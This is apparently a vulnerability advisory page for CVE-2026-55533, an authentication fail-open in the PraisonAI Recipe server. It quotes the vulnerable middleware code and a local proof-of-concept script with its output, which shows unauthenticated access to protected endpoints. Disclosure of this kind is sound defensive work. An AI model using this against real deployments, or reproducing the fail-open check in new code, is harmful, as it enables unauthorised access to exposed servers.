CVE-2026-55533: PraisonAI Authentication Fail-open Vulnerability

HIGH
Advisory Identifier: GHSA-gfq8-hmph-9gjv
CVSS 8.2
CWE-287 CWE-306
Published
Advisory Summary

CVE-2026-55533 is a HIGH (CVSS 8.2) authentication fail-open vulnerability (CWE-287: Improper Authentication) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves authentication fail-open in recipe server allows unauthenticated access when api key or jwt auth is configured without a secret. Remediation is available by upgrading affected packages to version 4.6.58.

CVE-2026-55533 at a Glance

CVE Identifier CVE-2026-55533
GHSA Identifier GHSA-gfq8-hmph-9gjv
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-287: Improper Authentication
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-55533

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.6.58
pip install PraisonAI>=4.6.58
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55533, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.58), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing. This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided. The issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != "none"`. It does not verify that an actual API key or JWT secret exists. ### Details The Recipe server documents the following authentication modes: - `none` - `api-key` - `jwt` Relevant source locations: - `src/praisonai/praisonai/recipe/serve.py` - `src/praisonai/praisonai/cli/features/recipe.py` In `create_auth_middleware()`, the API key middleware resolves the expected key as: ```python expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ``` This means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing. The JWT middleware has the same fail-open behavior: ```python secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ``` The auth middleware is still attached when `auth` is configured: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) if auth_middleware: middleware.append(Middleware(auth_middleware)) ``` The CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `"none"`: ```python if host != "127.0.0.1" and host != "localhost" and auth == "none": self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXIT_POLICY_DENIED ``` Therefore, this command passes the safety check: ```bash praisonai recipe serve --host 0.0.0.0 --auth api-key ``` However, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication. Affected endpoints include: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` - `POST /v1/recipes/validate` - optional `POST /admin/reload` when `enable_admin` is true ### PoC The following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing. Run from the repository root with test dependencies installed: ```bash python3 poc_recipe_auth_fail_open.py ``` `poc_recipe_auth_fail_open.py`: ```python import os import sys from pathlib import Path from starlette.testclient import TestClient ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents")) # Ensure no secrets are present in the environment. os.environ.pop("PRAISONAI_API_KEY", None) os.environ.pop("PRAISONAI_JWT_SECRET", None) from praisonai.recipe.serve import create_app # api-key auth selected, but no key configured. app_open = create_app({"auth": "api-key", "enable_admin": True}) client_open = TestClient(app_open) print("api-key auth with missing key:") print("GET /openapi.json:", client_open.get("/openapi.json").status_code) print("POST /admin/reload:", client_open.post("/admin/reload").status_code) # api-key auth selected with an actual key configured. app_closed = create_app({ "auth": "api-key", "api_key": "expected", "enable_admin": True, }) client_closed = TestClient(app_closed) print("\napi-key auth with configured key:") print("missing key:", client_closed.post("/admin/reload").status_code) print("wrong key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).status_code) print("correct key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).status_code) # jwt auth selected, but no JWT secret configured. app_jwt_open = create_app({"auth": "jwt"}) client_jwt_open = TestClient(app_jwt_open) print("\njwt auth with missing secret:") print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code) ``` Observed output: ```text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200 api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200 jwt auth with missing secret: GET /openapi.json: 200 ``` The important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong. ### Impact In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication. This gives unauthenticated access to recipe execution endpoints such as: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` If admin endpoints are enabled, the attacker can also access: - `POST /admin/reload` The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

CVE-2026-55533 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.58
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.6.58
4.6.58

References

Frequently Asked Questions

What is CVE-2026-55533?
CVE-2026-55533 is a security vulnerability in PraisonAI involving Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret under CWE-287: Improper Authentication.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.58 across affected packages: PraisonAI.
What version fixes CVE-2026-55533?
Upgrading to 4.6.58 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.58. Upgrade your dependency to 4.6.58 or later.
What is the CVSS score of CVE-2026-55533?
CVE-2026-55533 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-55533?
CVE-2026-55533 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2026-55533?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gfq8-hmph-9gjv",
  "modified" : "2026-08-25T15:15:54Z",
  "published" : "2026-08-25T15:15:54Z",
  "aliases" : [ "CVE-2026-55533" ],
  "summary" : "PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret",
  "details" : "### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n    # No key configured, allow request\n    return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n    return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n    auth_middleware = create_auth_middleware(\n        auth_type,\n        api_key=config.get(\"api_key\"),\n        jwt_secret=config.get(\"jwt_secret\"),\n    )\n    if auth_middleware:\n        middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n    self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n    return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n    \"auth\": \"api-key\",\n    \"api_key\": \"expected\",\n    \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.58"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T15:15:54Z",
    "nvd_published_at" : null
  }
}